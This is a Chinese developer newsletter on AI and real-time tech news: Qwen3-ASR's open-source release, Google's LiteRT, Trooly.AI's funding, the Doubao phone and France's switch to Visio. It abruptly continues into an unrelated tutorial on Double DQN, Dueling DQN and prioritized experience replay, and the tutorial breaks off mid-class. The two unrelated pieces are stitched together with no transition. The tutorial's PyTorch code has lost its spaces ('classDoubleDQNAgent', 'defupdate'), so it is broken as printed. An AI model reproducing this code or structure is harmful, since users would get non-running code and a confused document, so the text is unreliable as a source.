Qwen3-ASR 开源，支持 52 种语言和方言；AI 用户访谈 Trooly.AI 获近千万美元种子轮融资丨日报
开发者朋友们大家好：这里是 「RTE 开发者日报」，每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE（Real-Time Engagement） 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态度的观点」、「有看点的活动」，但内容仅代表编辑的个人观点，欢迎大家留言、跟帖、讨论。本期编辑：@瓒an、@鲍勃01 有话题的技术1、Qwen3-ASR 正式开源：包含三款模型，支持 52 种语言与方言Qwen 团队正式开源 Qwen3-ASR 系列，包括两个强大且全面的语音识别模型 Qwen3-ASR-1.7B 与 Qwen3-ASR-0.6B，以及一个创新的语音强制对齐模型 Qwen3-ForcedAligner-0.6B。 Qwen3-ASR 系列的语音识别模型支持 52 个语种与方言的语种识别与语音识别。依托预训练 AuT 语音编码器与 Qwen3-Omni 基座模型的多模态能力，Qwen3-ASR 系列实现了精准且稳定的识别效果。其中，1.7B 模型在中文、英文及歌唱识别等场景达到 SOTA，具备复杂文本识别能力及强噪声下的稳定性；0.6B 模型兼顾性能与效率，128 并发下吞吐量达 2000 倍（10 秒处理 5 小时音频）。两款模型均单模型支持 30 个语种及 22 个中文方言，支持流式/非流式一体化推理，最长可处理 20 分钟音频。Qwen3-ForcedAligner-0.6B 支持 11 种语言任意位置对齐，精度超越 WhisperX 等主流模型，单并发推理 RTF 仅 0.0089。目前，全套模型权重、结构及支持 vLLM 的推理框架已全部开源。在模型效果评估方面，Qwen3-ASR 系列在中文/英文、多语种、中文方言、歌声识别及复杂场景下均表现优异：英文场景：不仅在公开基准上达到最优，在覆盖 16 个国家口音的内部测试集中，整体表现优于 GPT-4o Transcribe、Gemini 系列、Doubao ASR 系列及 Whisper-large-v3。多语种场景：最高支持 30 种语言，在 20 个主流语种上，1.7B 模型全面超越现有开源模型，取得最佳平均 WER。中文与方言场景：在普通话、粤语及 22 种地区方言上整体领先，尤其在方言识别上，相比 Doubao-ASR 平均错误率降低了 20%（15.94 vs 19.85）。复杂场景：面对老人/儿童语音、极低信噪比、鬼畜重复等挑战，仍能保持极低的字/词错误率；歌唱识别支持带 BGM 的整首歌中/英文转写。此外，该系列在推理效率与对齐能力上也实现了突破。Qwen3-ASR-0.6B 模型在性能与效率间取得了平衡，无论离线或在线高并发场景，均能保持极低 RTF 与极高吞吐。配套推出的 Qwen3-ForcedAligner-0.6B 则支持 11 种语言的任意位置灵活对齐，其时间戳预测精度整体超过 WhisperX、NeMo-ForcedAligner 等主流方案。目前，Qwen3-ASR 系列模型已在 Github、HuggingFace 和 ModelScope 上线，相关论文及阿里云百炼 API 也已同步发布。Github:https://github.com/QwenLM/Qwen3-ASRHuggingFace:https://huggingface.co/collections/Qwen/qwen3-asr识别结果：蹦出来之后，左手、右手接一个慢动作，右边再直接拉到这上面之后，直接拉到这个轮胎上，上边再接过去之后，然后上边再直接拉到这个位置了之后，右边再直接这个位置接倒过去的之后，再倒一下，然后右边再直接抓住这个上边了之后，直接从这边上边过去了之后，直接抓住这个树杈，然后这个位置直接倒到这个树杈。识别结果：拨号，请再说一次，请说出您要拨打的号码。幺三五八幺八八七五七。一三五八二八八八幺八八。纠正纠正。九六九。纠正纠正，不是九六。识别结果：Okay, Charles. It looks like we have a problem with the radio. What happened? Yeah, someone spilled water on their machine. I uh, yeah. Charles, can you hear us? Mamma mia.（@千问 Qwen）2、Google 推出 LiteRT 推断框架：深度集成 NPU，实现跨平台统一高性能部署Google 正式推出继任 TensorFlow Lite 的端侧 AI 推断框架「LiteRT」。该框架完成了从经典机器学习向生成式 AI（GenAI）的架构演进，通过深度集成 NPU 加速和全新编排层，实现了跨 Android、iOS、Web 及桌面端的统一高性能部署。高性能多后端加速：采用下一代 GPU 引擎 「ML Drift」，支持 OpenCL、Metal 和 WebGPU。GPU 性能较 TFLite 提升 1.4 倍，并引入异步执行与零拷贝缓冲（Zero-copy buffer）技术，端到端延迟缩减达 2 倍。深度 NPU 集成方案：通过抽象层屏蔽不同 SoC 的 SDK 差异，首批支持「MediaTek」与「Qualcomm」NPU。实测 NPU 推断速度较 CPU 提升 100 倍，并提供 AOT（预编译）与 JIT（即时编译）两种部署模式以平衡启动速度与包体积。GenAI 专用技术栈：新增「LiteRT-LM」编排层与「LiteRT Torch Generative API」。在 Samsung Galaxy S25 Ultra 上的基准测试显示，Gemma 3 1B 的 GPU Prefill 速度较 llama.cpp 提升 19 倍，Decode 速度提升 7 倍。多框架无缝转换：支持 PyTorch、JAX 和 TensorFlow 模型一键转换为 。tflite 格式。其中 LiteRT Torch 库允许 PyTorch 基于 Transformer 的架构直接映射至优化后的底层算子，无需复杂的中间件平移。全新 C++ API：引入 CompiledModel API 取代传统的 Interpreter 模式，旨在优化多线程环境下的内存复用与硬件调度效率，同时保持与存量 。tflite 模型的向后兼容。LiteRT 现已进入生产就绪状态，全面支持主流移动端与桌面端操作系统，核心代码已在 GitHub 开源。GitHub:https://github.com/google-ai-edge/LiteRT/issues( @Google for Developers Blog)3、曝阿里字节春节前后齐发旗舰模型就在刚刚，据 The Information 援引知情人士消息称，字节和阿里均计划在二月中旬的春节假期前后发布新一代旗舰 AI 模型。消息人士称，字节将于下月推出三款 AI 产品：新一代大语言模型 Doubao 2.0、图像生成模型 Seedream 5.0 以及视频生成模型 SeedDance 2.0。阿里方面同样蓄势待发。据直接了解其计划的人士透露，阿里预计将在春节期间推出旗舰模型 Qwen 3.5，该模型针对复杂推理任务进行了专门优化，在数学和编码能力方面表现突出。本月中旬，阿里官宣对千问 APP 进行重大升级，将其与电商平台、在线旅游服务以及蚂蚁集团的支付系统深度整合，力求打造一个能够协助用户完成订餐、预订旅行等实际任务的全能 AI 助手。而据内部人士透露，阿里的目标是在 2026 年上半年将所有生态服务整合到千问 APP 中。此外，报道还提到，阿里和字节都在进行更长远的布局，正在开发能够无缝处理文本、图像、音频、视频和代码的全能型 AI 模型。( @APPSO)4、数字人 Tavus 发布 tavus-skills：支持 npx 一键集成实时视频交互组件数字人 Tavus 推出开发者工具集 tavus-skills，旨在通过标准化的技能模块供智能体调用，快速构建视频 AI 代理。该工具集集成了数字孪生训练、视频流生成及实时对话交互（CVI）能力，支持开发者通过 CLI 工具完成环境配置。npx 模块化分发体系：支持通过 npx skills add Tavus-Engineering/tavus-skills 实现一键集成。开发者可按需拆分安装 tavus-replica（数字孪生管理）、tavus-video-gen（脚本化视频生成）等 8 个独立模块。CVI 专用模型栈集成：底层原生支持 Phoenix-3 视频生成模型、Raven 视觉/音频感知模型以及 Sparrow 实时对话控制引擎，针对实时交互场景优化了响应延迟。WebRTC 实时交互控制：提供 tavus-cvi-interactions 模块，支持在视频流传输中执行实时文本回显（Echo）、指令打断（Interrupt）以及动态上下文注入。前端工程化支持：配套发布 @tavus/cvi-ui React 组件库与 React Hooks，深度适配 Vite 与 Next.js 框架，简化了实时视频交互界面的 UI 开发。持久化 RAG 与记忆模块：通过 tavus-cvi-knowledge 模块支持文档上传与知识库构建，允许视频智能体在多次对话间保持长短期记忆。GitHub:https://github.com/Tavus-Engineering/tavus-skills( @GitHub)02 有亮点的产品1、AI-Native 用户研究平台 Trooly.AI 获王慧文、高瓴及蓝驰投资，完成近千万美元种子轮融资据「暗涌 Waves」报道，成立仅 4 个月的 AI-Native 用户研究平台 Trooly.AI 已完成近千万美元的种子轮融资，投资方包括蓝驰创投、高瓴创投和王慧文。与市面上常见的宏大叙事不同，Trooly.AI 专注于实现商业闭环。其核心产品面向有用户调研需求的 B 端客户，通过多模态 Voice Agent 技术，专注于 45 分钟左右的深度定性用户访谈。该平台宣称可在 10 分钟内协助用户完成研究计划的设置和发布，并在 1 天内交付完整访谈数据和专业洞察总结。Trooly.AI 的两位创始人王震和孙皓此前均为 Zulution AI 早期成员。Zulution AI 由 TikTok 前身 Musical.ly 创始人阳陆育创办，曾推出 AIGC 角色扮演对话产品「Museland」。王震和孙皓共同经历过 AI 陪伴产品的拓荒期，但在 2025 年春，随着 AI 陪伴产品的用户交互出现边际效应递减，两人选择离开。在探索了多种产品形态后，创始人团队意识到，在 AI 使内容生成成本趋近于零的时代，竞争壁垒在于「输入」的质量。最昂贵的资产是能为产品决策提供核心「信息增量」的真实用户故事。这一方向的确立也源于王震此前作为甲方的采购经历：传统调研耗资巨大且样本量少。团队发现，此前积累的对话技术天然适合深度定性访谈。王震指出，相比人类访谈员带来的社交压力，受访者面对「博学且温和」的 AI 更容易敞开心扉。在 Trooly.AI 的实际案例中，AI 访谈员曾引导受访者分享隐秘且深刻的情绪。王震认为，在用户调研中，单纯的事实往往只是边角料，核心在于「用户故事」。只有通过故事感知用户与产品间的真实羁绊，才能弥合产品经理想象与现实之间的鸿沟。针对产品效能与体验，Trooly.AI 强调以下特点：效率与成本：相比传统用研流程动辄耗时一两个月，Trooly.AI 的反馈速度提升约 30 倍，成本可压至传统方式的 20%。交互体验：产品界面摒弃拟人化形象，仅保留流动的声波与配色，以降低社交压力并营造宁静氛围。技术逻辑：底层注入大量专家知识，Agent 能根据用户背景、情绪信号动态调整追问深度，把控交互节奏。关于团队建设，王震和孙皓表示经历了从迷信「超级个体」到回归团队协作的转变。他们认为，尽管 AI 能大幅提升执行效率，但无法替代人类在审美、发散性创新与结构化逻辑上的互补。因此，Trooly.AI 倾向于组建由各维度单项顶尖人才构成的精简团队。面对 AI 时代极其残酷的竞争环境，Trooly.AI 团队认为绝大多数无法形成有效服务的「玩具」类应用终将消亡，因此致力于在利基市场中确立生存优势。联合创始人孙皓指出，Trooly.AI 的目标不仅仅是做一个工具，而是构建一套让「构建者」能够直达用户真实声音的价值链。王震表示，Trooly.AI 的使命是让消费者洞察直达产品决策者。团队希望帮助全球的产品构建者弥合想象偏差，减少资源浪费，从而在 AI 时代的「生物大爆发」中挖掘真需求，找到自然选择下的最优解。报道链接：https://mp.weixin.qq.com/s/E4CJQnezo0J1PuATOQ1ZHg官网：https://www.trooly.ai（@暗涌 Waves）2、曝豆包手机二代机型二季度发布据《智能涌现》报道，字节跳动已于去年底正式启动豆包手机助手正式版项目，第二代豆包手机预计将在今年第二季度中晚期发布。报道称，字节跳动对二代机型的市场预期显著提高，依旧延续与中兴努比亚的合作模式，由中兴负责硬件、豆包负责 AI 能力。供应链人士称，新机在体验与权限体系上将比初代测试版更成熟。与此同时，豆包团队已与部分互联网服务提供商（打车、外卖、订票等）达成常用权限接入协议，以提升系统级 AI Agent 的可用性。在合作策略上，豆包正与不同类型的手机厂商展开差异化谈判。对于 OPPO、vivo、荣耀等自研生态完善的大厂，合作主要集中在模型调用、输入法等模块化技术层面；而对于传音、魅族、联想等市占率较低的厂商，则采取更激进的方案，直接在系统中内置豆包 AI 入口，并以技术授权费与 AI 服务订阅费作为商业模式。报道还指出，豆包手机正同步推进海外布局，已与包括 vivo 在内的厂商商讨在其海外机型中搭载「豆包手机助手」，但细节仍在谈判中。同时，字节在硬件形态上持续扩张，正在开发带显示与不带显示的两款 AI 眼镜，前者预计将在今年 Q4 发布，后者将在今年 Q1 推出。此外，字节也在研发带摄像头的 AI 耳机，试图构建多终端协同的智能硬件生态。( @APPSO)3、法国政府宣布 2027 年前停用 Teams 和 Zoom，全面转向自研平台 Visio法国政府周一宣布，计划用本国自主研发的视频会议平台取代微软 Teams 和 Zoom 等美国平台，并于 2027 年前在所有政府部门全面投入使用。此举属于法国停止使用外国（特别是美国）软件供应商并重新掌握关键数字基础设施控制权战略的一环。 目前，法国与欧洲正处于关于数字主权的关键转折点。法国公务员与国家改革部部长 David Amiel 表示，目标是结束对非欧洲解决方案的使用，依靠强大且自主的主权工具来保证公共电子通信的安全性和机密性。政府宣布将转而使用法国制造的视频会议平台 Visio。该平台已进行了为期一年的测试，目前拥有约 4 万名用户。Visio 是法国「数字套件」（Suite Numérique）计划的组成部分，该计划构建了一个主权工具数字生态系统，用于替代 Gmail 和 Slack 等美国在线服务。这些工具专供公务员使用，不面向公共或私营企业。该平台还具备由人工智能驱动的会议转录和发言人识别功能，采用了法国初创公司 Pyannote 的技术。Visio 托管在法国公司 Outscale 的主权云基础设施上，该公司是法国软件巨头达索系统（Dassault Systèmes）的子公司。法国政府表示，切换到 Visio 能够削减许可成本，每 10 万名用户每年可节省高达 100 万欧元。在此之前，去年发生的美国云服务中断事件引发了欧洲对过度依赖美国信息技术基础设施的质疑。Amiel 指出，这一战略突显了在地缘政治紧张局势加剧以及对外国监控或服务中断的担忧中，法国对数字主权的承诺。（@Euronews Next ）03 Real-Time AI Demo1、当乐高遇上 AR 眼镜：开发者利用 Gemini 赋予积木实时声效与交互开发者 Stijn Spanhove 与 Pavlo 在 Snap Spectacles 上构建了一个概念验证（POC），探索了继 LEGO Smart Bricks 之后，将乐高积木与 AR 眼镜相结合的交互形态。在该演示中，系统利用 Gemini 模型视觉识别用户搭建的任何乐高作品，即时生成独一无二的音效，并支持用户直接用手进行抓取与互动。例如，摇晃一架飞机模型时会听到引擎的轰鸣，挥舞一条龙时则伴随着咆哮声。对于每一个不同的拼搭作品，系统都能做出差异化的反应。开发者提出了一种进一步融合的设想：将 LEGO Smart Play 积木内部的物理传感器、AR 技术以及环绕的生成式 AI 结合在一起。这种组合有望打造出一个既能从内部物理感应做出反应，又能通过眼镜在视觉上「活过来」的乐高城市。正如开发者所言，这一切并非科幻构想，所有必要的技术组件目前均已存在，该项目展示了这些技术整合后的潜力。( @stspanho\@X)04 有态度的观点1、OpenAI 董事长：Vibe Coding 不是终局，AI Agent 才是软件未来据《商业内幕》报道，OpenAI 董事长 Bret Taylor 近日在《Big Technology Podcast》节目中表示，「Vibe Coding」将继续存在，但它并非软件行业的最终形态。Taylor 在节目中指出，依赖自然语言快速生成应用的方式会逐渐变得寻常，而真正的变革来自 AI Agent 对软件结构的重塑。Taylor 认为，当前围绕「如何更快用 Vibe Coding 做出一个应用」的讨论忽略了关键问题。他表示，未来的软件形态将不再依赖传统的仪表盘、网页表单或独立应用，而是由可执行任务的 AI Agent 取代。我们会把任务交给 Agent，它们会直接对数据库执行操作。关键在于，这些 Agent 是谁来做，你是买现成的，还是自己构建。他同时指出，AI 虽然显著降低了软件开发成本，但并未解决维护难题，也未消除错误风险，因此大多数企业仍倾向于购买成熟方案，以将维护成本分摊给更多客户。关于 Vibe Coding 的局限性，Google CEO Sundar Pichai 去年在《Google for Developers》播客中表示，这种方式让编码更轻松，也让非技术用户能创建简单应用。不过，他也指出 AI 生成的代码仍可能冗长、结构不佳或存在错误。他在 Google 母公司 Alphabet 去年 4 月的财报电话会上透露，Google 超过 30% 的新代码由 AI 生成，高于 2024 年 10 月的 25%。Anthropic 工程师 Boris Cherny 也在去年 12 月的《The Peterman Podcast》中指出，Vibe Coding 更适合原型或一次性代码，而不适用于企业核心系统。有时候你需要可维护的代码，需要对每一行都非常谨慎。( @APPSO)阅读更多 Voice Agent 学习笔记：了解最懂 AI 语音的头脑都在思考什么写在最后：我们欢迎更多的小伙伴参与「RTE 开发者日报」内容的共创，感兴趣的朋友请通过开发者社区或公众号留言联系，记得报暗号「共创」。对于任何反馈（包括但不限于内容上、形式上）我们不胜感激、并有小惊喜回馈，例如你希望从日报中看到哪些内容；自己推荐的信源、项目、话题、活动等；或者列举几个你喜欢看、平时常看的内容渠道；内容排版或呈现形式上有哪些可以改进的地方等。作者提示: 个人观点，仅供参考
DQN 用max Q(s',a')计算目标值，等于在挑 Q 值最高的动作，但是这些动作中包括了那些因为估计噪声而被高估的动作，素以就会产生过估计偏差，直接后果是训练不稳定、策略次优。这篇文章要解决的就是这个问题，内容包括：DQN 为什么会过估计、Double DQN 怎么把动作选择和评估拆开、Dueling DQN 怎么分离状态值和动作优势、优先经验回放如何让采样更聪明，以及用 PyTorch 从头实现这些改进。最后还会介绍一个 CleanRL 的专业实现。过估计问题DQN 的目标值如下： y = r + γ·maxₐ' Q(s', a'; θ⁻)问题就在于，同一个网络既负责选动作（a* = argmax Q），又负责评估这个动作的价值。Q 值本身是带噪声的估计所以有时候噪声会让差动作的 Q 值偏高，取 max 操作天然偏向选那些被高估的动作。数学上有个直观的解释： E[max(X₁, X₂, ..., Xₙ)] ≥ max(E[X₁], E[X₂], ..., E[Xₙ])最大值的期望总是大于等于期望的最大值，这是凸函数的 Jensen 不等式。过估计会导致收敛变慢，智能体把时间浪费在探索那些被高估的动作上。其次是策略质量打折扣，高噪声的动作可能比真正好的动作更受青睐。更糟的是过估计会不断累积，导致训练发散。泛化能力也会受损——在状态空间的噪声区域，智能体会表现得过于自信。Double DQN：把选择和评估拆开标准 DQN 一个网络干两件事： a* = argmaxₐ' Q(s', a'; θ⁻) # 选最佳动作 y = r + γ · Q(s', a*; θ⁻) # 评估这个动作（同一个网络）Double DQN 用两个网络，各管一件： a* = argmaxₐ' Q(s', a'; θ) # 用当前网络选 y = r + γ · Q(s', a*; θ⁻) # 用目标网络评估当前网络（θ）选动作，目标网络（θ⁻）评估。两个网络的误差不相关这样最大化偏差就被打破了。为什么有效呢？假设当前网络把动作 a 的价值估高了，目标网络（参数不同）大概率不会犯同样的错。误差相互独立，倾向于抵消而非累加。最通俗的解释就是DQN 像是自己给菜打分、自己挑菜吃，这样烂菜可能就混进来了，而Double DQN 让朋友打分、你来挑，两边的误差对冲掉了。 Standard DQN: E[Q(s, argmaxₐ Q(s,a))] ≥ maxₐ E[Q(s,a)] （有偏） Double DQN: E[Q₂(s, argmaxₐ Q₁(s,a))] ≈ maxₐ E[Q(s,a)] （无偏）从 DQN 到 Double DQN，只需要改一行： # DQN 目标 next_q_values=target_network(next_states).max(1)[0] target=rewards+gamma*next_q_values* (1-dones) # Double DQN 目标 next_actions=current_network(next_states).argmax(1) # <- 用当前网络选 next_q_values=target_network(next_states).gather(1, next_actions.unsqueeze(1)) # <- 用目标网络评估 target=rewards+gamma*next_q_values.squeeze() * (1-dones)就这一行改动极小，效果却很明显。实现：Double DQN扩展 DQN Agent classDoubleDQNAgent(DQNAgent): """ Double DQN: 通过解耦动作选择和评估来减少过估计偏差。 """ def__init__(self, *args, **kwargs): """ 初始化 Double DQN agent。 从 DQN 继承所有内容，只改变目标计算。 """ super().__init__(*args, **kwargs) defupdate(self) ->Dict[str, float]: """ 执行 Double DQN 更新。 Returns: metrics: 训练指标 """ iflen(self.replay_buffer) <self.batch_size: return {} # 采样批次 states, actions, rewards, next_states, dones=self.replay_buffer.sample( self.batch_size ) states=states.to(self.device) actions=actions.to(self.device) rewards=rewards.to(self.device) next_states=next_states.to(self.device) dones=dones.to(self.device) # 当前 Q 值 Q(s,a;θ) current_q_values=self.q_network(states).gather(1, actions.unsqueeze(1)) # Double DQN 目标计算 withtorch.no_grad(): # 使用当前网络选择动作 next_actions=self.q_network(next_states).argmax(1) # 使用目标网络评估动作 next_q_values=self.target_network(next_states).gather( 1, next_actions.unsqueeze(1) ).squeeze() # 计算目标 target_q_values=rewards+ (1-dones) *self.gamma*next_q_values # 计算损失 loss=F.mse_loss(current_q_values.squeeze(), target_q_values) # 梯度下降 self.optimizer.zero_grad() loss.backward() torch.nn.utils.clip_grad_norm_(self.q_network.parameters(), max_norm=10.0) self.optimizer.step() self.training_step+=1 return { 'loss': loss.item(), 'q_mean': current_q_values.mean().item(), 'q_std': current_q_values.std().item(), 'target_q_mean': target_q_values.mean().item() }训练函数： deftrain_double_dqn( env_name: str, n_episodes: int=1000, max_steps: int=500, train_freq: int=1, eval_frequency: int=50, eval_episodes: int=10, verbose: bool=True, **kwargs ) ->Tuple: """ 训练 Double DQN agent（使用 DoubleDQNAgent 而不是 DQNAgent）。 """ # 与 train_dqn 相同但使用 DoubleDQNAgent env=gym.make(env_name) eval_env=gym.make(env_name) state_dim=env.observation_space.shape[0] action_dim=env.action_space.n # 使用 DoubleDQNAgent agent=DoubleDQNAgent( state_dim=state_dim, action_dim=action_dim, **kwargs ) # 训练循环（与 DQN 相同） stats= { 'episode_rewards': [], 'episode_lengths': [], 'losses': [], 'q_values': [], 'target_q_values': [], 'eval_rewards': [], 'eval_episodes': [], 'epsilons': [] } print(f"Training Double DQN on {env_name}") print(f"State dim: {state_dim}, Action dim: {action_dim}") print("="*70) forepisodeinrange(n_episodes): state, _=env.reset() episode_reward=0 episode_length=0 episode_metrics= [] forstepinrange(max_steps): action=agent.select_action(state, training=True) next_state, reward, terminated, truncated, _=env.step(action) done=terminatedortruncated agent.store_transition(state, action, reward, next_state, done) ifstep%train_freq==0: metrics=agent.update() ifmetrics: episode_metrics.append(metrics) episode_reward+=reward episode_length+=1 state=next_state ifdone: break # 更新目标网络 if (episode+1) %kwargs.get('target_update_freq', 10) ==0: agent.update_target_network() agent.decay_epsilon() # 存储统计信息 stats['episode_rewards'].append(episode_reward) stats['episode_lengths'].append(episode_length) stats['epsilons'].append(agent.epsilon) ifepisode_metrics: stats['losses'].append(np.mean([m['loss'] forminepisode_metrics])) stats['q_values'].append(np.mean([m['q_mean'] forminepisode_metrics])) stats['target_q_values'].append(np.mean([m['target_q_mean'] forminepisode_metrics])) # 评估 if (episode+1) %eval_frequency==0: eval_reward=evaluate_dqn(eval_env, agent, eval_episodes) stats['eval_rewards'].append(eval_reward) stats['eval_episodes'].append(episode+1) ifverbose: avg_reward=np.mean(stats['episode_rewards'][-50:]) avg_loss=np.mean(stats['losses'][-50:]) ifstats['losses'] else0 avg_q=np.mean(stats['q_values'][-50:]) ifstats['q_values'] else0 print(f"Episode {episode+1:4d} | " f"Reward: {avg_reward:7.2f} | " f"Eval: {eval_reward:7.2f} | " f"Loss: {avg_loss:7.4f} | " f"Q: {avg_q:6.2f} | " f"ε: {agent.epsilon:.3f}") env.close() eval_env.close() print("="*70) print("Training complete!") returnagent, statsLunarLander-v3 # 训练 Double DQN if__name__=="__main__": device='cuda'iftorch.cuda.is_available() else'cpu' agent_ddqn, stats_ddqn=train_double_dqn( env_name='LunarLander-v3', n_episodes=4000, max_steps=1000, learning_rate=5e-4, gamma=0.99, epsilon_start=1.0, epsilon_end=0.01, epsilon_decay=0.9995, buffer_capacity=100000, batch_size=128, target_update_freq=20, train_freq=4, eval_frequency=100, eval_episodes=10, hidden_dims=[256, 256], device=device, verbose=True ) # 保存模型 agent_ddqn.save('doubledqn_lunar_lander.pth')输出： Training Double DQN on LunarLander-v3 State dim: 8, Action dim: 4 ====================================================================== Episode 100 | Reward: -155.24 | Eval: -885.72 | Loss: 52.9057 | Q: 0.20 | ε: 0.951 Episode 200 | Reward: -148.85 | Eval: -85.94 | Loss: 37.2449 | Q: 2.14 | ε: 0.905 Episode 300 | Reward: -111.61 | Eval: -172.48 | Loss: 37.4279 | Q: 3.52 | ε: 0.861 Episode 400 | Reward: -99.21 | Eval: -198.43 | Loss: 41.5296 | Q: 8.15 | ε: 0.819 Episode 500 | Reward: -80.75 | Eval: -103.26 | Loss: 56.2701 | Q: 11.70 | ε: 0.779 ... Episode 3200 | Reward: 102.04 | Eval: 159.71 | Loss: 16.5263 | Q: 27.94 | ε: 0.202 Episode 3300 | Reward: 140.37 | Eval: 191.79 | Loss: 22.5564 | Q: 29.81 | ε: 0.192 Episode 3400 | Reward: 114.08 | Eval: 269.40 | Loss: 23.2846 | Q: 32.40 | ε: 0.183 Episode 3500 | Reward: 166.33 | Eval: 244.32 | Loss: 21.8558 | Q: 32.51 | ε: 0.174 Episode 3600 | Reward: 150.80 | Eval: 265.42 | Loss: 21.6430 | Q: 33.18 | ε: 0.165 Episode 3700 | Reward: 148.59 | Eval: 239.56 | Loss: 23.8328 | Q: 34.65 | ε: 0.157 Episode 3800 | Reward: 162.82 | Eval: 233.36 | Loss: 28.3445 | Q: 37.46 | ε: 0.149 Episode 3900 | Reward: 177.70 | Eval: 259.99 | Loss: 36.2971 | Q: 40.22 | ε: 0.142 Episode 4000 | Reward: 156.60 | Eval: 251.17 | Loss: 46.7266 | Q: 42.15 | ε: 0.135 ====================================================================== Training complete!Dueling DQN：分离值和优势很多状态下，选哪个动作其实差别不大。CartPole 里杆子刚好平衡时，向左向右都行；开车走直线方向盘微调的结果差不多；LunarLander 离地面还远的时候，引擎怎么喷影响也有限。标准 DQN 对每个动作单独学 Q(s,a)，把网络容量浪费在冗余信息上。Dueling DQN 的思路是把 Q 拆成两部分：V(s) 表示"这个状态本身值多少"，A(s,a) 表示"这个动作比平均水平好多少"。架构如下 标准 DQN: Input -> Hidden Layers -> Q(s,a₁), Q(s,a₂), ..., Q(s,aₙ) Dueling DQN: |-> Value Stream -> V(s) Input -> Shared Layers | |-> Advantage Stream -> A(s,a₁), A(s,a₂), ..., A(s,aₙ) Q(s,a) = V(s) + (A(s,a) - mean(A(s,·)))为什么要减去均值？不减的话，任何常数加到 V 再从 A 减掉，得到的 Q 完全一样，网络学不出唯一解。数学表达如下： Q(s,a) = V(s) + A(s,a) - (1/|A|)·Σₐ' A(s,a')也可以用 max 代替 mean： Q(s,a) = V(s) + A(s,a) - maxₐ' A(s,a')实践中 max 版本有时效果更好。举个例子：V(s) = 10，好动作的 A 是 +5，差动作的 A 是 -3，平均优势 = (+5-3)/2 = +1。那么 Q(s, 好动作) = 10 + 5 - 1 = 14，Q(s, 差动作) = 10 - 3 - 1 = 6。实现 classDuelingQNetwork(nn.Module): """ Dueling DQN 架构，分离值和优势。 理论: Q(s,a) = V(s) + A(s,a) - mean(A(s,·)) """ def__init__( self, state_dim: int, action_dim: int, hidden_dims: List[int] = [128, 128] ): """ 初始化 Dueling Q 网络。 Args: state_dim: 状态空间维度 action_dim: 动作数量 hidden_dims: 共享层大小 """ super(DuelingQNetwork, self).__init__() self.state_dim=state_dim self.action_dim=action_dim # 共享特征提取器 shared_layers= [] input_dim=state_dim forhidden_diminhidden_dims: shared_layers.append(nn.Linear(input_dim, hidden_dim)) shared_layers.append(nn.ReLU()) input_dim=hidden_dim self.shared_network=nn.Sequential(*shared_layers) # 值流: V(s) = 状态的标量值 self.value_stream=nn.Sequential( nn.Linear(hidden_dims[-1], 128), nn.ReLU(), nn.Linear(128, 1) ) # 优势流: A(s,a) = 每个动作的优势 self.advantage_stream=nn.Sequential( nn.Linear(hidden_dims[-1], 128), nn.ReLU(), nn.Linear(128, action_dim) ) # 初始化权重 self.apply(self._init_weights) def_init_weights(self, module): """初始化网络权重。""" ifisinstance(module, nn.Linear): nn.init.kaiming_normal_(module.weight, nonlinearity='relu') nn.init.constant_(module.bias, 0.0) defforward(self, state: torch.Tensor) ->torch.Tensor: """ 通过 dueling 架构的前向传播。 Args: state: 状态批次, 形状 (batch_size, state_dim) Returns: q_values: 所有动作的 Q(s,a), 形状 (batch_size, action_dim) """ # 共享特征 features=self.shared_network(state) # 值: V(s) -> 形状 (batch_size, 1) value=self.value_stream(features) # 优势: A(s,a) -> 形状 (batch_size, action_dim) advantages=self.advantage_stream(features) # 组合: Q(s,a) = V(s) + A(s,a) - mean(A(s,·)) q_values=value+advantages-advantages.mean(dim=1, keepdim=True) returnq_values defget_action(self, state: np.ndarray, epsilon: float=0.0) ->int: """ 使用 ε-greedy 策略选择动作。 """ ifrandom.random() <epsilon: returnrandom.randint(0, self.action_dim-1) else: withtorch.no_grad(): state_tensor=torch.FloatTensor(state).unsqueeze(0).to( next(self.parameters()).device ) q_values=self.forward(state_tensor) returnq_values.argmax(dim=1).item()Dueling 架构的好处：在动作影响不大的状态下学得更好，梯度流动更通畅所以收敛更快，值估计也更稳健。还可以把两种改进叠在一起，做成Double Dueling DQN classDoubleDuelingDQNAgent(DoubleDQNAgent): """ 结合 Double DQN 和 Dueling DQN 的智能体。 """ def__init__( self, state_dim: int, action_dim: int, hidden_dims: List[int] = [128, 128], **kwargs ): """ 初始化 Double Dueling DQN 智能体。 使用 DuelingQNetwork 而不是标准 QNetwork。 """ # 暂不调用 super().__init__() # 我们需要以不同方式设置网络 self.state_dim=state_dim self.action_dim=action_dim self.gamma=kwargs.get('gamma', 0.99) self.batch_size=kwargs.get('batch_size', 64) self.target_update_freq=kwargs.get('target_update_freq', 10) self.device=torch.device(kwargs.get('device', 'cpu')) # 探索 self.epsilon=kwargs.get('epsilon_start', 1.0) self.epsilon_end=kwargs.get('epsilon_end', 0.01) self.epsilon_decay=kwargs.get('epsilon_decay', 0.995) # 使用 Dueling 架构 self.q_network=DuelingQNetwork( state_dim, action_dim, hidden_dims ).to(self.device) self.target_network=DuelingQNetwork( state_dim, action_dim, hidden_dims ).to(self.device) self.target_network.load_state_dict(self.q_network.state_dict()) self.target_network.eval() # 优化器 learning_rate=kwargs.get('learning_rate', 1e-3) self.optimizer=torch.optim.Adam(self.q_network.parameters(), lr=learning_rate) # 回放缓冲区 buffer_capacity=kwargs.get('buffer_capacity', 100000) self.replay_buffer=ReplayBuffer(buffer_capacity) # 统计 self.episode_count=0 self.training_step=0 # update() 方法继承自 DoubleDQNAgent优先经验回放不是所有经验都同等有价值。TD 误差大的转换说明预测偏离现实，能学到东西；TD 误差小的转换说明已经学得差不多了再采到也没多大用。均匀采样把所有转换一视同仁，浪费了学习机会。优先经验回放的思路是：让重要的转换被采到的概率更高。优先级怎么算 pᵢ = |δᵢ| + ε 其中: δᵢ = r + γ·max Q(s',a') - Q(s,a) （TD 误差） ε = 小常数，保证所有转换都有被采到的可能采样概率： P(i) = pᵢ^α / Σⱼ pⱼ^α α 控制优先化程度: α = 0 -> 退化成均匀采样 α = 1 -> 完全按优先级比例采样优先采样改了数据分布，会引入偏差。所以解决办法是用重要性采样比率来加权更新： wᵢ = (N · P(i))^(-β) β 控制校正力度: β = 0 -> 不校正 β = 1 -> 完全校正通常 β 从 0.4 开始，随训练逐渐增大到 1.0。实现 classPrioritizedReplayBuffer: """ 优先经验回放缓冲区。 理论: 按 TD 误差比例采样转换。 我们可以从中学到更多的转换会被更频繁地采样。 """ def__init__(self, capacity: int, alpha: float=0.6, beta: float=0.4): 